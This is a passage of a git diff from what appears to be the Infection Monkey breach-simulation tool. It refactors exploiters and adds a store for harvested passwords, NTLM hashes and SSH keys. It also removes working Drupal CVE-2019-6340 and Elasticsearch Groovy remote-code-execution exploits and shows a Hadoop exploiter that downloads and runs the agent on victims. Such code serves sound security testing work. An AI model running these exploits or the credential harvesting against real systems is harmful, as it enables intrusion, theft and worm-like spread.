(IOError, OSError): + pass + # If private key found don't search more + if info["private_key"]: + break + except (IOError, OSError): + pass + except OSError: + pass + usr_info = [info for info in usr_info if info["private_key"] or info["public_key"]] + return usr_info diff --git a/monkey/infection_monkey/credential_store/__init__.py b/monkey/infection_monkey/credential_store/__init__.py new file mode 100644 index 000000000..e05ce3160 --- /dev/null +++ b/monkey/infection_monkey/credential_store/__init__.py @@ -0,0 +1,2 @@ +from .i_credentials_store import ICredentialsStore +from .aggregating_credentials_store import AggregatingCredentialsStore diff --git a/monkey/infection_monkey/credential_store/aggregating_credentials_store.py b/monkey/infection_monkey/credential_store/aggregating_credentials_store.py new file mode 100644 index 000000000..27ead7d26 --- /dev/null +++ b/monkey/infection_monkey/credential_store/aggregating_credentials_store.py @@ -0,0 +1,91 @@ +import logging +from typing import Any, Iterable, Mapping + +from common.common_consts.credential_component_type import CredentialComponentType +from infection_monkey.custom_types import PropagationCredentials +from infection_monkey.i_control_channel import IControlChannel +from infection_monkey.i_puppet import Credentials +from infection_monkey.utils.decorators import request_cache + +from .i_credentials_store import ICredentialsStore + +logger = logging.getLogger(__name__) + +CREDENTIALS_POLL_PERIOD_SEC = 30 + + +class AggregatingCredentialsStore(ICredentialsStore): + def __init__(self, control_channel: IControlChannel): + self._stored_credentials = { + "exploit_user_list": set(), + "exploit_password_list": set(), + "exploit_lm_hash_list": set(), + "exploit_ntlm_hash_list": set(), + "exploit_ssh_keys": [], + } + self._control_channel = control_channel + + def add_credentials(self, credentials_to_add: Iterable[Credentials]): + for credentials in credentials_to_add: + usernames = { + identity.username + for identity in credentials.identities + if identity.credential_type is CredentialComponentType.USERNAME + } + self._stored_credentials.setdefault("exploit_user_list", set()).update(usernames) + + for secret in credentials.secrets: + if secret.credential_type is CredentialComponentType.PASSWORD: + self._stored_credentials.setdefault("exploit_password_list", set()).add( + secret.password + ) + elif secret.credential_type is CredentialComponentType.LM_HASH: + self._stored_credentials.setdefault("exploit_lm_hash_list", set()).add( + secret.lm_hash + ) + elif secret.credential_type is CredentialComponentType.NT_HASH: + self._stored_credentials.setdefault("exploit_ntlm_hash_list", set()).add( + secret.nt_hash + ) + elif secret.credential_type is CredentialComponentType.SSH_KEYPAIR: + self._set_attribute( + "exploit_ssh_keys", + [{"public_key": secret.public_key, "private_key": secret.private_key}], + ) + + def get_credentials(self) -> PropagationCredentials: + try: + propagation_credentials = self._get_credentials_from_control_channel() + + # Needs to be reworked when exploiters accepts sequence of Credentials + self._aggregate_credentials(propagation_credentials) + + return self._stored_credentials + except Exception as ex: + self._stored_credentials = {} + logger.error(f"Error while attempting to retrieve credentials for propagation: {ex}") + + @request_cache(CREDENTIALS_POLL_PERIOD_SEC) + def _get_credentials_from_control_channel(self) -> PropagationCredentials: + return self._control_channel.get_credentials_for_propagation() + + def _aggregate_credentials(self, credentials_to_aggr: Mapping): + for cred_attr, credentials_values in credentials_to_aggr.items(): + self._set_attribute(cred_attr, credentials_values) + + def _set_attribute(self, attribute_to_be_set: str, credentials_values: Iterable[Any]): + if not credentials_values: + return + + if isinstance(credentials_values[0], dict): + self._stored_credentials.setdefault(attribute_to_be_set, []).extend(credentials_values) + self._stored_credentials[attribute_to_be_set] = [ + dict(s_c) + for s_c in set( + frozenset(d_c.items()) for d_c in self._stored_credentials[attribute_to_be_set] + ) + ] + else: + self._stored_credentials.setdefault(attribute_to_be_set, set()).update( + credentials_values + ) diff --git a/monkey/infection_monkey/credential_store/i_credentials_store.py b/monkey/infection_monkey/credential_store/i_credentials_store.py new file mode 100644 index 000000000..711c77a89 --- /dev/null +++ b/monkey/infection_monkey/credential_store/i_credentials_store.py @@ -0,0 +1,22 @@ +import abc +from typing import Iterable + +from infection_monkey.custom_types import PropagationCredentials +from infection_monkey.i_puppet import Credentials + + +class ICredentialsStore(metaclass=abc.ABCMeta): + @abc.abstractmethod + def add_credentials(self, credentials_to_add: Iterable[Credentials]): + """ + Adds credentials to the CredentialStore + :param Iterable[Credentials] credentials: The credentials that will be added + """ + + @abc.abstractmethod + def get_credentials(self) -> PropagationCredentials: + """ + Retrieves credentials from the store + :return: Credentials that can be used for propagation + :type: PropagationCredentials + """ diff --git a/monkey/infection_monkey/custom_types.py b/monkey/infection_monkey/custom_types.py new file mode 100644 index 000000000..6e1eab9aa --- /dev/null +++ b/monkey/infection_monkey/custom_types.py @@ -0,0 +1,3 @@ +from typing import Iterable, Mapping + +PropagationCredentials = Mapping[str, Iterable[str]] diff --git a/monkey/infection_monkey/dropper.py b/monkey/infection_monkey/dropper.py index f74767cef..90d6712d5 100644 --- a/monkey/infection_monkey/dropper.py +++ b/monkey/infection_monkey/dropper.py @@ -12,13 +12,13 @@ from ctypes import c_char_p from common.utils.attack_utils import ScanStatus, UsageEnum from infection_monkey.config import WormConfiguration -from infection_monkey.system_info import OperatingSystem, SystemInfoCollector from infection_monkey.telemetry.attack.t1106_telem import T1106Telem from infection_monkey.utils.commands import ( build_monkey_commandline_explicitly, get_monkey_commandline_linux, get_monkey_commandline_windows, ) +from infection_monkey.utils.environment import is_windows_os if "win32" == sys.platform: from win32process import DETACHED_PROCESS @@ -55,7 +55,6 @@ class MonkeyDrops(object): "destination_path": self.opts.location, } - def initialize(self): logger.debug("Dropper is running with config:\n%s", pprint.pformat(self._config)) def start(self): @@ -140,10 +139,9 @@ class MonkeyDrops(object): server=self.opts.server, depth=self.opts.depth, location=None, - vulnerable_port=self.opts.vulnerable_port, ) - if OperatingSystem.Windows == SystemInfoCollector.get_os(): + if is_windows_os(): monkey_commandline = get_monkey_commandline_windows( self._config["destination_path"], monkey_options ) diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf deleted file mode 100644 index dcb3b3138..000000000 --- a/monkey/infection_monkey/example.conf +++ /dev/null @@ -1,85 +0,0 @@ -{ - "command_servers": [ - "192.0.2.0:5000" - ], - "keep_tunnel_open_time": 60, - "subnet_scan_list": [ - - ], - "inaccessible_subnets": [], - "blocked_ips": [], - "current_server": "192.0.2.0:5000", - "alive": true, - "collect_system_info": true, - "should_use_mimikatz": true, - "depth": 2, - - "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll", - "dropper_date_reference_path_linux": "/bin/sh", - "dropper_log_path_windows": "%temp%\\~df1562.tmp", - "dropper_log_path_linux": "/tmp/user-1562", - "dropper_set_date": true, - "dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe", - "dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe", - "dropper_target_path_linux": "/tmp/monkey", - - "exploiter_classes": [ - "SSHExploiter", - "SmbExploiter", - "WmiExploiter", - "ShellShockExploiter", - "ElasticGroovyExploiter", - "Struts2Exploiter", - "WebLogicExploiter", - "HadoopExploiter", - "MSSQLExploiter" - ], - "finger_classes": [ - "SSHFinger", - "PingScanner", - "HTTPFinger", - "SMBFinger", - "MySQLFinger", - "MSSQLFingerprint", - "ElasticFinger" - ], - "monkey_log_path_windows": "%temp%\\~df1563.tmp", - "monkey_log_path_linux": "/tmp/user-1563", - "ms08_067_exploit_attempts": 5, - "user_to_add": "Monkey_IUSER_SUPPORT", - "ping_scan_timeout": 10000, - "smb_download_timeout": 300, - "smb_service_name": "InfectionMonkey", - "self_delete_in_cleanup": true, - "skip_exploit_if_file_exist": false, - "exploit_user_list": [], - "exploit_password_list": [], - "exploit_lm_hash_list": [], - "exploit_ntlm_hash_list": [], - "exploit_ssh_keys": [], - "local_network_scan": false, - "tcp_scan_get_banner": true, - "tcp_scan_interval": 0, - "tcp_scan_timeout": 10000, - "tcp_target_ports": [ - 22, - 445, - 135, - 3389, - 80, - 8080, - 443, - 3306, - 8008, - 9200, - 7001, - 8088 - ], - "victims_max_exploit": 100, - "victims_max_find": 100, - "post_breach_actions": [] - custom_PBA_linux_cmd = "" - custom_PBA_windows_cmd = "" - PBA_linux_filename = None - PBA_windows_filename = None -} diff --git a/monkey/infection_monkey/exploit/HostExploiter.py b/monkey/infection_monkey/exploit/HostExploiter.py index 3a5abf4c5..602dd338a 100644 --- a/monkey/infection_monkey/exploit/HostExploiter.py +++ b/monkey/infection_monkey/exploit/HostExploiter.py @@ -1,51 +1,25 @@ import logging +import threading from abc import abstractmethod from datetime import datetime +from typing import Dict -import infection_monkey.exploit from common.utils.exceptions import FailedExploitationError -from common.utils.exploit_enum import ExploitType -from infection_monkey.config import WormConfiguration -from infection_monkey.utils.plugins.plugin import Plugin +from infection_monkey.i_puppet import ExploiterResultData +from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger + +from . import IAgentRepository logger = logging.getLogger(__name__) -class HostExploiter(Plugin): - @staticmethod - def should_run(class_name): - """ - Decides if post breach action is enabled in config - :return: True if it needs to be ran, false otherwise - """ - return class_name in WormConfiguration.exploiter_classes - - @staticmethod - def base_package_file(): - return infection_monkey.exploit.__file__ - - @staticmethod - def base_package_name(): - return infection_monkey.exploit.__package__ - - _TARGET_OS_TYPE = [] - - # Usual values are 'vulnerability' or 'brute_force' - EXPLOIT_TYPE = ExploitType.VULNERABILITY - - # Determines if successful exploitation should stop further exploit attempts on that machine. - # Generally, should be True for RCE type exploiters and False if we don't expect the - # exploiter to run the monkey agent. - # Example: Zerologon steals credentials - RUNS_AGENT_ON_SUCCESS = True - +class HostExploiter: @property @abstractmethod def _EXPLOITED_SERVICE(self): pass - def __init__(self, host): - self._config = WormConfiguration + def __init__(self): self.exploit_info = { "display_name": self._EXPLOITED_SERVICE, "started": "", @@ -55,7 +29,10 @@ class HostExploiter(Plugin): "executed_cmds": [], } self.exploit_attempts = [] - self.host = host + self.host = None + self.telemetry_messenger = None + self.options = {} + self.exploit_result = {} def set_start_time(self): self.exploit_info["started"] = datetime.now().isoformat() @@ -63,14 +40,6 @@ class HostExploiter(Plugin): def set_finish_time(self): self.exploit_info["finished"] = datetime.now().isoformat() - def is_os_supported(self): - return self.host.os.get("type") in self._TARGET_OS_TYPE - - def send_exploit_telemetry(self, result): - from infection_monkey.telemetry.exploit_telem import ExploitTelem - - ExploitTelem(self, result).send() - def report_login_attempt(self, result, user, password="", lm_hash="", ntlm_hash="", ssh_key=""): self.exploit_attempts.append( { @@ -83,22 +52,51 @@ class HostExploiter(Plugin): } ) - def exploit_host(self): + # TODO: host should be VictimHost, at the moment it can't because of circular dependency + def exploit_host( + self, + host, + current_depth: int, + telemetry_messenger: ITelemetryMessenger, + agent_repository: IAgentRepository, + options: Dict, + interrupt: threading.Event, + ): + self.host = host + self.current_depth = current_depth + self.telemetry_messenger = telemetry_messenger + self.agent_repository = agent_repository + self.options = options + self.interrupt = interrupt + self.pre_exploit() - result = None try: - result = self._exploit_host() + return self._exploit_host() except FailedExploitationError as e: logger.debug(f"Exploiter failed: {e}.") - except Exception: + raise e + except Exception as e: logger.error("Exception in exploit_host", exc_info=True) + raise e finally: self.post_exploit() - return result def pre_exploit(self): + self.exploit_result = ExploiterResultData( + os=self.host.os.get("type"), info=self.exploit_info, attempts=self.exploit_attempts + ) self.set_start_time() + def _is_interrupted(self): + return self.interrupt.is_set() + + def _set_interrupted(self): + # This method should be refactored to raise an exception to reduce duplication in the + # "if is_interrupted: return self.exploitation_results" + # Ideally the user should only do "check_for_interrupt()" + logger.info("Exploiter has been interrupted") + self.exploit_result.interrupted = True + def post_exploit(self): self.set_finish_time() diff --git a/monkey/infection_monkey/exploit/__init__.py b/monkey/infection_monkey/exploit/__init__.py index e69de29bb..7e5733502 100644 --- a/monkey/infection_monkey/exploit/__init__.py +++ b/monkey/infection_monkey/exploit/__init__.py @@ -0,0 +1,3 @@ +from .i_agent_repository import IAgentRepository +from .caching_agent_repository import CachingAgentRepository +from .exploiter_wrapper import ExploiterWrapper diff --git a/monkey/infection_monkey/exploit/caching_agent_repository.py b/monkey/infection_monkey/exploit/caching_agent_repository.py new file mode 100644 index 000000000..9d24746ad --- /dev/null +++ b/monkey/infection_monkey/exploit/caching_agent_repository.py @@ -0,0 +1,44 @@ +import io +import threading +from functools import lru_cache +from typing import Mapping + +import requests + +from common.common_consts.timeouts import MEDIUM_REQUEST_TIMEOUT + +from . import IAgentRepository + + +class CachingAgentRepository(IAgentRepository): + """ + CachingAgentRepository implements the IAgentRepository interface and downloads the requested + agent binary from the island on request. The agent binary is cached so that only one request is + actually sent to the island for each requested binary. + """ + + def __init__(self, island_url: str, proxies: Mapping[str, str]): + self._island_url = island_url + self._proxies = proxies + self._lock = threading.Lock() + + def get_agent_binary(self, os: str, architecture: str = None) -> io.BytesIO: + # If multiple calls to get_agent_binary() are made simultaneously before the result of + # _download_binary_from_island() is cached, then multiple requests will be sent to the + # island. Add a mutex in front of the call to _download_agent_binary_from_island() so + # that only one request per OS will be sent to the island. + with self._lock: + return io.BytesIO(self._download_binary_from_island(os)) + + @lru_cache(maxsize=None) + def _download_binary_from_island(self, os: str) -> bytes: + response = requests.get( # noqa: DUO123 + f"{self._island_url}/api/monkey/download/{os}", + verify=False, + proxies=self._proxies, + timeout=MEDIUM_REQUEST_TIMEOUT, + ) + + response.raise_for_status() + + return response.content diff --git a/monkey/infection_monkey/exploit/consts.py b/monkey/infection_monkey/exploit/consts.py deleted file mode 100644 index e74c7786c..000000000 --- a/monkey/infection_monkey/exploit/consts.py +++ /dev/null @@ -1,3 +0,0 @@ -# Constants used to refer to windows architectures -WIN_ARCH_32 = "32" -WIN_ARCH_64 = "64" diff --git a/monkey/infection_monkey/exploit/drupal.py b/monkey/infection_monkey/exploit/drupal.py deleted file mode 100644 index a07b99403..000000000 --- a/monkey/infection_monkey/exploit/drupal.py +++ /dev/null @@ -1,198 +0,0 @@ -""" -Remote Code Execution on Drupal server - CVE-2019-6340 -Implementation is based on: - https://gist.github.com/leonjza/d0ab053be9b06fa020b66f00358e3d88 - /f9f6a5bb6605745e292bee3a4079f261d891738a. -""" - -import logging -from urllib.parse import urljoin - -import requests - -from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT -from common.network.network_utils import remove_port -from infection_monkey.exploit.web_rce import WebRCE -from infection_monkey.model import ID_STRING - -logger = logging.getLogger(__name__) - - -class DrupalExploiter(WebRCE): - _TARGET_OS_TYPE = ["linux", "windows"] - _EXPLOITED_SERVICE = "Drupal Server" - - def __init__(self, host): - super(DrupalExploiter, self).__init__(host) - - def get_exploit_config(self): - """ - We override this function because the exploits requires a special extension in the URL, - "node", - e.g. an exploited URL would be http://172.1.2.3:/node/3. - :return: the Drupal exploit config - """ - exploit_config = super(DrupalExploiter, self).get_exploit_config() - exploit_config["url_extensions"] = [ - "node/", # In Linux, no path is added - "drupal/node/", - ] # However, Bitnami installations are under /drupal - exploit_config["dropper"] = True - return exploit_config - - def add_vulnerable_urls(self, potential_urls, stop_checking=False): - """ - We need a specific implementation of this function in order to add the URLs *with the - node IDs*. - We therefore check, for every potential URL, all possible node IDs. - :param potential_urls: Potentially-vulnerable URLs - :param stop_checking: Stop if one vulnerable URL is found - :return: None (in-place addition) - """ - for url in potential_urls: - try: - node_ids = find_exploitbale_article_ids(url) - if node_ids is None: - logger.info("Could not find a Drupal node to attack") - continue - for node_id in node_ids: - node_url = urljoin(url, str(node_id)) - if self.check_if_exploitable(node_url): - self.add_vuln_url( - url - ) # This is for report. Should be refactored in the future - self.vulnerable_urls.append(node_url) - if stop_checking: - break - except Exception as e: # We still don't know which errors to expect - logger.error(f"url {url} failed in exploitability check: {e}") - if not self.vulnerable_urls: - logger.info("No vulnerable urls found") - - def check_if_exploitable(self, url): - """ - Check if a certain URL is exploitable. - We use this specific implementation (and not simply run self.exploit) because this - function does not "waste" - a vulnerable URL. Namely, we're not actually exploiting, merely checking using a heuristic. - :param url: Drupal's URL and port - :return: Vulnerable URL if exploitable, otherwise False - """ - payload = build_exploitability_check_payload(url) - - response = requests.get( # noqa: DUO123 - f"{url}?_format=hal_json", - json=payload, - headers={"Content-Type": "application/hal+json"}, - verify=False, - timeout=MEDIUM_REQUEST_TIMEOUT, - ) - - if is_response_cached(response): - logger.info(f"Checking if node {url} is vuln returned cache HIT, ignoring") - return False - - return "INVALID_VALUE does not correspond to an entity on this site" in response.text - - def exploit(self, url, command): - # pad a easy search replace output: - cmd = f"echo {ID_STRING} && {command}" - base = remove_port(url) - payload = build_cmd_execution_payload(base, cmd) - - r = requests.get( # noqa: DUO123 - f"{url}?_format=hal_json", - json=payload, - headers={"Content-Type": "application/hal+json"}, - verify=False, - timeout=LONG_REQUEST_TIMEOUT, - ) - - if is_response_cached(r): - logger.info(f"Exploiting {url} returned cache HIT, may have failed") - - if ID_STRING not in r.text: - logger.warning("Command execution _may_ have failed") - - result = r.text.split(ID_STRING)[-1] - return result - - def get_target_url(self): - """ - We're overriding this method such that every time self.exploit is invoked, we use a fresh - vulnerable URL. - Reusing the same URL eliminates its exploitability because of caching reasons :) - :return: vulnerable URL to exploit - """ - return self.vulnerable_urls.pop() - - def are_vulnerable_urls_sufficient(self): - """ - For the Drupal exploit, 5 distinct URLs are needed to perform the full attack. - :return: Whether the list of vulnerable URLs has at least 5 elements. - """ - # We need 5 URLs for a "full-chain": check remote files, check architecture, drop monkey, - # chmod it and run it. - num_urls_needed_for_full_exploit = 5 - num_available_urls = len(self.vulnerable_urls) - result = num_available_urls >= num_urls_needed_for_full_exploit - if not result: - logger.info( - f"{num_urls_needed_for_full_exploit} URLs are needed to fully exploit a " - f"Drupal server " - f"but only {num_available_urls} found" - ) - return result - - -def is_response_cached(r: requests.Response) -> bool: - """ Check if a response had the cache header. """ - return "X-Drupal-Cache" in r.headers and r.headers["X-Drupal-Cache"] == "HIT" - - -def find_exploitbale_article_ids(base_url: str, lower: int = 1, upper: int = 100) -> set: - """ Find target articles that do not 404 and are not cached """ - articles = set() - while lower < upper: - node_url = urljoin(base_url, str(lower)) - response = requests.get( # noqa: DUO123 - node_url, verify=False, timeout=LONG_REQUEST_TIMEOUT - ) - if response.status_code == 200: - if is_response_cached(response): - logger.info(f"Found a cached article at: {node_url}, skipping") - else: - articles.add(lower) - lower += 1 - return articles - - -def build_exploitability_check_payload(url): - payload = { - "_links": {"type": {"href": f"{urljoin(url, '/rest/type/node/INVALID_VALUE')}"}}, - "type": {"target_id": "article"}, - "title": {"value": "My Article"}, - "body": {"value": ""}, - } - return payload - - -def build_cmd_execution_payload(base, cmd): - payload = { - "link": [ - { - "value": "link", - "options": 'O:24:"GuzzleHttp\\Psr7\\FnStream":2:{s:33:"\u0000' - 'GuzzleHttp\\Psr7\\FnStream\u0000methods";a:1:{s:5:"' - 'close";a:2:{i:0;O:23:"GuzzleHttp\\HandlerStack":3:' - '{s:32:"\u0000GuzzleHttp\\HandlerStack\u0000handler";' - 's:|size|:"|command|";s:30:"\u0000GuzzleHttp\\HandlerStack\u0000' - 'stack";a:1:{i:0;a:1:{i:0;s:6:"system";}}s:31:"\u0000' - 'GuzzleHttp\\HandlerStack\u0000cached";b:0;}i:1;s:7:"' - 'resolve";}}s:9:"_fn_close";a:2:{i:0;r:4;i:1;s:7:"resolve";}}' - "".replace("|size|", str(len(cmd))).replace("|command|", cmd), - } - ], - "_links": {"type": {"href": f"{urljoin(base, '/rest/type/shortcut/default')}"}}, - } - return payload diff --git a/monkey/infection_monkey/exploit/elasticgroovy.py b/monkey/infection_monkey/exploit/elasticgroovy.py deleted file mode 100644 index 522c348b1..000000000 --- a/monkey/infection_monkey/exploit/elasticgroovy.py +++ /dev/null @@ -1,114 +0,0 @@ -""" - Implementation is based on elastic search groovy exploit by metasploit - https://github.com/rapid7/metasploit-framework/blob/12198a088132f047e0a86724bc5ebba92a73ac66 - /modules/exploits/multi/elasticsearch/search_groovy_script.rb - Max vulnerable elasticsearch version is "1.4.2" -""" - -import json -import logging -import re - -import requests - -from common.common_consts.network_consts import ES_SERVICE -from common.utils.attack_utils import BITS_UPLOAD_STRING, ScanStatus -from infection_monkey.exploit.web_rce import WebRCE -from infection_monkey.model import ( - BITSADMIN_CMDLINE_HTTP, - CHECK_COMMAND, - CMD_PREFIX, - DOWNLOAD_TIMEOUT, - ID_STRING, - WGET_HTTP_UPLOAD, -) -from infection_monkey.network.elasticfinger import ES_PORT -from infection_monkey.telemetry.attack.t1197_telem import T1197Telem - -logger = logging.getLogger(__name__) - - -class ElasticGroovyExploiter(WebRCE): - # attack URLs - MONKEY_RESULT_FIELD = "monkey_result" - GENERIC_QUERY = ( - """{"size":1, "script_fields":{"%s": {"script": "%%s"}}}""" % MONKEY_RESULT_FIELD - ) - JAVA_CMD = GENERIC_QUERY % ( - """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(""" - """\\"%s\\").getText()""" - ) - - _TARGET_OS_TYPE = ["linux", "windows"] - _EXPLOITED_SERVICE = "Elastic search" - - def __init__(self, host): - super(ElasticGroovyExploiter, self).__init__(host) - - def get_exploit_config(self): - exploit_config = super(ElasticGroovyExploiter, self).get_exploit_config() - exploit_config["dropper"] = True - exploit_config["url_extensions"] = ["_search?pretty"] - exploit_config["upload_commands"] = { - "linux": WGET_HTTP_UPLOAD, - "windows": CMD_PREFIX + " " + BITSADMIN_CMDLINE_HTTP, - } - return exploit_config - - def get_open_service_ports(self, port_list, names): - # We must append elastic port we get from elastic fingerprint module because It's not - # marked as 'http' service - valid_ports = WebRCE.get_open_service_ports(self.host, port_list, names) - if ES_SERVICE in self.host.services: - valid_ports.append([ES_PORT, False]) - return valid_ports - - def exploit(self, url, command): - command = re.sub(r"\\", r"\\\\\\\\", command) - payload = self.JAVA_CMD % command - try: - response = requests.get(url, data=payload, timeout=DOWNLOAD_TIMEOUT) - except requests.ReadTimeout: - logger.error( - "Elastic couldn't upload monkey, because server didn't respond to upload " - "request." - ) - return False - result = self.get_results(response) - if not result: - return False - return result[0] - - def upload_monkey(self, url, commands=None): - result = super(ElasticGroovyExploiter, self).upload_monkey(url, commands) - if "windows" in self.host.os["type"] and result: - T1197Telem(ScanStatus.USED, self.host, BITS_UPLOAD_STRING).send() - return result - - def get_results(self, response): - """ - Extracts the result data from our attack - :return: List of data fields or None - """ - try: - json_resp = json.loads(response.text) - return json_resp["hits"]["hits"][0]["fields"][self.MONKEY_RESULT_FIELD] - except (KeyError, IndexError): - return None - - def check_if_exploitable(self, url): - # Overridden web_rce method that adds CMD prefix for windows command - try: - if "windows" in self.host.os["type"]: - resp = self.exploit(url, CMD_PREFIX + " " + CHECK_COMMAND) - else: - resp = self.exploit(url, CHECK_COMMAND) - if resp is True: - return True - elif resp is not False and ID_STRING in resp: - return True - else: - return False - except Exception as e: - logger.error("Host's exploitability check failed due to: %s" % e) - return False diff --git a/monkey/infection_monkey/exploit/exploiter_wrapper.py b/monkey/infection_monkey/exploit/exploiter_wrapper.py new file mode 100644 index 000000000..540e0b4a4 --- /dev/null +++ b/monkey/infection_monkey/exploit/exploiter_wrapper.py @@ -0,0 +1,52 @@ +import threading +from typing import Dict, Type + +from infection_monkey.model import VictimHost +from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger + +from . import IAgentRepository +from .HostExploiter import HostExploiter + + +class ExploiterWrapper: + """ + This class is a temporary measure to allow existing exploiters to play nicely within the + confines of the IPuppet interface. It keeps a reference to an ITelemetryMessenger that is passed + to all exploiters. Additionally, it constructs a new instance of the exploiter for each call to + exploit_host(). When exploiters are refactored into plugins, this class will likely go away. + """ + + class Inner: + def __init__( + self, + exploit_class: Type[HostExploiter], + telemetry_messenger: ITelemetryMessenger, + agent_repository: IAgentRepository, + ): + self._exploit_class = exploit_class + self._telemetry_messenger = telemetry_messenger + self._agent_repository = agent_repository + + def exploit_host( + self, host: VictimHost, current_depth: int, options: Dict, interrupt: threading.Event + ): + exploiter = self._exploit_class() + return exploiter.exploit_host( + host, + current_depth, + self._telemetry_messenger, + self._agent_repository, + options, + interrupt, + ) + + def __init__( + self, telemetry_messenger: ITelemetryMessenger, agent_repository: IAgentRepository + ): + self._telemetry_messenger = telemetry_messenger + self._agent_repository = agent_repository + + def wrap(self, exploit_class: Type[HostExploiter]): + return ExploiterWrapper.Inner( + exploit_class, self._telemetry_messenger, self._agent_repository + ) diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index f3fd7d095..c704f9814 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -6,13 +6,13 @@ import json import posixpath +import random import string -from random import SystemRandom import requests from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT -from infection_monkey.exploit.tools.helpers import get_monkey_depth +from infection_monkey.exploit.tools.helpers import get_agent_dest_path from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.exploit.web_rce import WebRCE from infection_monkey.model import ( @@ -25,7 +25,6 @@ from infection_monkey.utils.commands import build_monkey_commandline class HadoopExploiter(WebRCE): - _TARGET_OS_TYPE = ["linux", "windows"] _EXPLOITED_SERVICE = "Hadoop" HADOOP_PORTS = [("8088", False)] # How long we have our http server open for downloads in seconds @@ -33,43 +32,61 @@ class HadoopExploiter(WebRCE): # Random string's length that's used for creating unique app name RAN_STR_LEN = 6 - def __init__(self, host): - super(HadoopExploiter, self).__init__(host) + def __init__(self): + super(HadoopExploiter, self).__init__() def _exploit_host(self): # Try to get exploitable url urls = self.build_potential_urls(self.host.ip_addr, self.HADOOP_PORTS) self.add_vulnerable_urls(urls, True) if not self.vulnerable_urls: - return False - # We presume hadoop works only on 64-bit machines - if self.host.os["type"] == "windows": - self.host.os["machine"] = "64" - paths = self.get_monkey_paths() - if not paths: - return False - http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths["src_path"]) - command = self.build_command(paths["dest_path"], http_path) - if not self.exploit(self.vulnerable_urls[0], command): - return False - http_thread.join(self.DOWNLOAD_TIMEOUT) - http_thread.stop() - self.add_executed_cmd(command) - return True + return self.exploit_result + + try: + monkey_path_on_victim = get_agent_dest_path(self.host, self.options) + except KeyError: + return self.exploit_result + + http_path, http_thread = HTTPTools.create_locked_transfer( + self.host, str(monkey_path_on_victim), self.agent_repository + ) + + try: + command = self._build_command(monkey_path_on_victim, http_path) + + if self.exploit(self.vulnerable_urls[0], command): + self.add_executed_cmd(command) + self.exploit_result.exploitation_success = True + self.exploit_result.propagation_success = True + finally: + http_thread.join(self.DOWNLOAD_TIMEOUT) + http_thread.stop() + + return self.exploit_result def exploit(self, url, command): + if self._is_interrupted(): + self._set_interrupted() + return False + # Get the newly created application id resp = requests.post( posixpath.join(url, "ws/v1/cluster/apps/new-application"), timeout=LONG_REQUEST_TIMEOUT ) resp = json.loads(resp.content) app_id = resp["application-id"] + # Create a random name for our application in YARN - safe_random = SystemRandom() + # random.SystemRandom can block indefinitely in Linux rand_name = ID_STRING + "".join( - [safe_random.choice(string.ascii_lowercase) for _ in range(self.RAN_STR_LEN)] + [random.choice(string.ascii_lowercase) for _ in range(self.RAN_STR_LEN)] # noqa: DUO102 ) - payload = self.build_payload(app_id, rand_name, command) + payload = self._build_payload(app_id, rand_name, command) + + if self._is_interrupted(): + self._set_interrupted() + return False + resp = requests.post( posixpath.join(url, "ws/v1/cluster/apps/"), json=payload, timeout=LONG_REQUEST_TIMEOUT ) @@ -85,11 +102,9 @@ class HadoopExploiter(WebRCE): return False return resp.status_code == 200 - def build_command(self, path, http_path): + def _build_command(self, path, http_path): # Build command to execute - monkey_cmd = build_monkey_commandline( - self.host, get_monkey_depth() - 1, vulnerable_port=HadoopExploiter.HADOOP_PORTS[0][0] - ) + monkey_cmd = build_monkey_commandline(self.host, self.current_depth - 1) if "linux" in self.host.os["type"]: base_command = HADOOP_LINUX_COMMAND else: @@ -103,7 +118,7 @@ class HadoopExploiter(WebRCE): } @staticmethod - def build_payload(app_id, name, command): + def _build_payload(app_id, name, command): payload = { "application-id": app_id, "application-name": name, diff --git a/monkey/infection_monkey/exploit/i_agent_repository.py b/monkey/infection_monkey/exploit/i_agent_repository.py new file mode 100644 index 000000000..f63ca4038 --- /dev/null +++ b/monkey/infection_monkey/exploit/i_agent_repository.py @@ -0,0 +1,21 @@ +import abc +import io + + +class IAgentRepository(metaclass=abc.ABCMeta): + """ + IAgentRepository provides an interface for other components to access agent binaries. Notably, + this is used by exploiters during propagation to retrieve the appropriate agent binary so that + it can be uploaded to a victim and executed. + """ + + @abc.abstractmethod + def get_agent_binary(self, os: str, architecture: str = None) -> io.BytesIO: + """ + Retrieve the appropriate agent binary from the repository. + :param str os: The name of the operating system on which the agent binary will run + :param str architecture: Reserved + :return: A file-like object for the requested agent binary + :rtype: io.BytesIO + """ + pass diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index de2d2ace2..e967ee6cb 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -1,7 +1,8 @@ import logging import time +from pathlib import PurePath -from common.utils.exploit_enum import ExploitType +from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT from infection_monkey.exploit.log4shell_utils import ( LINUX_EXPLOIT_TEMPLATE_PATH, WINDOWS_EXPLOIT_TEMPLATE_PATH, @@ -10,36 +11,46 @@ from infection_monkey.exploit.log4shell_utils import ( build_exploit_bytecode, get_log4shell_service_exploiters, ) -from infection_monkey.exploit.tools.helpers import get_monkey_depth +from infection_monkey.exploit.tools.helpers import get_agent_dest_path from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.exploit.web_rce import WebRCE -from infection_monkey.model import DOWNLOAD_TIMEOUT as AGENT_DOWNLOAD_TIMEOUT -from infection_monkey.model import ( - DROPPER_ARG, - LOG4SHELL_LINUX_COMMAND, - LOG4SHELL_WINDOWS_COMMAND, - VictimHost, -) +from infection_monkey.i_puppet.i_puppet import 